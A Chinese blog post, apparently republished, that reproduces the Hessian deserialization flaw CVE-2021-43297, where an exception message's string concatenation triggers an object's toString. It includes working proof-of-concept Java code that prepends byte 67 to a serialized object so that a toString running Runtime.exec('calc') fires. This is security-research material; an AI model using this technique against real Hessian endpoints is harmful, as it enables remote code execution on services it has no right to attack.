【Web】浅聊Hessian异常toString姿势学习复现

2024-03-20 15:04

本文主要是介绍【Web】浅聊Hessian异常toString姿势学习复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

利用关键

调用分析

如何控制第一个字节

EXP


前言

Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!

这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。

利用关键

Hessian2Input 中的 expect 方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:

protected IOException expect(String expect, int ch)

参数解释:

  • expect 表示期望的内容,ch 表示当前读取到的字符

expect 方法的作用是检查下一个输入字节是否等于给定的 expect 值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException 异常或者其他相关异常。

该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。

现在具体来看expect方法怎么写的

 protected IOException expect(String expect, int ch) throws IOException {if (ch < 0) {return this.error("expected " + expect + " at end of file");} else {--this._offset;try {int offset = this._offset;String context = this.buildDebugContext(this._buffer, 0, this._length, offset);Object obj = this.readObject();return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");} catch (Exception var6) {log.log(Level.FINE, var6.toString(), var6);return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));}}}

先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成

调用分析

从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect

这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:

  1. readInt 方法:用于读取整数数据。
  2. readString 方法:用于读取字符串数据。
  3. readFloat 方法:用于读取浮点数数据。
  4. readChar 方法:用于读取单个字符数据。
  5. readLine 方法:用于读取一行文本数据。

这里师傅们用的是readString来触发expect,俺也来致敬经典😄

public String readString() throws IOException {int tag = this.read();int ch;switch (tag) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 9:case 10:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 23:case 24:case 25:case 26:case 27:case 28:case 29:case 30:case 31:this._isLastChunk = true;this._chunkLength = tag - 0;this._sbuf.setLength(0);while((ch = this.parseChar()) >= 0) {this._sbuf.append((char)ch);}return this._sbuf.toString();case 32:case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 52:case 53:case 54:case 55:case 64:case 65:case 66:case 67:case 69:case 71:case 72:case 74:case 75:case 77:case 79:case 80:case 81:case 85:case 86:case 87:case 88:case 90:case 96:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:case 123:case 124:case 125:case 126:case 127:default:throw this.expect("string", tag);......}}

 现在问题就是怎么完成下列调用

readObject->readString->expect

Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)

当tag为67时,会调用readObjectDefinition

跟进,接着调用readString

最后进到default->expect

 

 

hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了

因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default

如何控制第一个字节

System.arraycopy 是一个 Java 中用于复制数组元素的方法

public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)

参数解释如下:

  • src:源数组,即要复制数据的原始数组。
  • srcPos:源数组的起始位置,从该位置开始复制数据。
  • dest:目标数组,即将数据复制到的目标数组。
  • destPos:目标数组的起始位置,从该位置开始粘贴数据。
  • length:要复制的元素数量,即要复制的数据长度。

EXP

先导pom依赖

<dependencies><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>

EXP.java

package org.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;public class EXP {public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void main(String[] args) throws Exception {Person person = new Person();person.setName("Hessian异常toString成功捏o(=•ェ•=)m");byte[] data = Hessian2_Serial(person);byte[] poc = new byte[data.length + 1];System.arraycopy(new byte[]{67}, 0, poc, 0, 1);System.arraycopy(data, 0, poc, 1, data.length);Hessian2_Deserial(poc);}
}

Person.java

package org.Hessian;import java.io.IOException;
import java.io.Serializable;public class Person implements Serializable {String name;public void setName(String name) {this.name = name;}@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return this.name;}
}

成功弹出计算器

 

这篇关于【Web】浅聊Hessian异常toString姿势学习复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/829844

相关文章

Java 中的 @SneakyThrows 注解使用方法(简化异常处理的利与弊)

《Java中的@SneakyThrows注解使用方法(简化异常处理的利与弊)》为了简化异常处理,Lombok提供了一个强大的注解@SneakyThrows,本文将详细介绍@SneakyThro... 目录1. @SneakyThrows 简介 1.1 什么是 Lombok?2. @SneakyThrows

在 Spring Boot 中实现异常处理最佳实践

《在SpringBoot中实现异常处理最佳实践》本文介绍如何在SpringBoot中实现异常处理,涵盖核心概念、实现方法、与先前查询的集成、性能分析、常见问题和最佳实践,感兴趣的朋友一起看看吧... 目录一、Spring Boot 异常处理的背景与核心概念1.1 为什么需要异常处理?1.2 Spring B

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》:本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter(过滤器)1. Filter 的工作原理2. Filter 的配置与使用二、Listen

关于MongoDB图片URL存储异常问题以及解决

《关于MongoDB图片URL存储异常问题以及解决》:本文主要介绍关于MongoDB图片URL存储异常问题以及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录MongoDB图片URL存储异常问题项目场景问题描述原因分析解决方案预防措施js总结MongoDB图

一文详解Java异常处理你都了解哪些知识

《一文详解Java异常处理你都了解哪些知识》:本文主要介绍Java异常处理的相关资料,包括异常的分类、捕获和处理异常的语法、常见的异常类型以及自定义异常的实现,文中通过代码介绍的非常详细,需要的朋... 目录前言一、什么是异常二、异常的分类2.1 受检异常2.2 非受检异常三、异常处理的语法3.1 try-

usb接口驱动异常问题常用解决方案

《usb接口驱动异常问题常用解决方案》当遇到USB接口驱动异常时,可以通过多种方法来解决,其中主要就包括重装USB控制器、禁用USB选择性暂停设置、更新或安装新的主板驱动等... usb接口驱动异常怎么办,USB接口驱动异常是常见问题,通常由驱动损坏、系统更新冲突、硬件故障或电源管理设置导致。以下是常用解决

Java Optional避免空指针异常的实现

《JavaOptional避免空指针异常的实现》空指针异常一直是困扰开发者的常见问题之一,本文主要介绍了JavaOptional避免空指针异常的实现,帮助开发者编写更健壮、可读性更高的代码,减少因... 目录一、Optional 概述二、Optional 的创建三、Optional 的常用方法四、Optio

Java中的String.valueOf()和toString()方法区别小结

《Java中的String.valueOf()和toString()方法区别小结》字符串操作是开发者日常编程任务中不可或缺的一部分,转换为字符串是一种常见需求,其中最常见的就是String.value... 目录String.valueOf()方法方法定义方法实现使用示例使用场景toString()方法方法

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加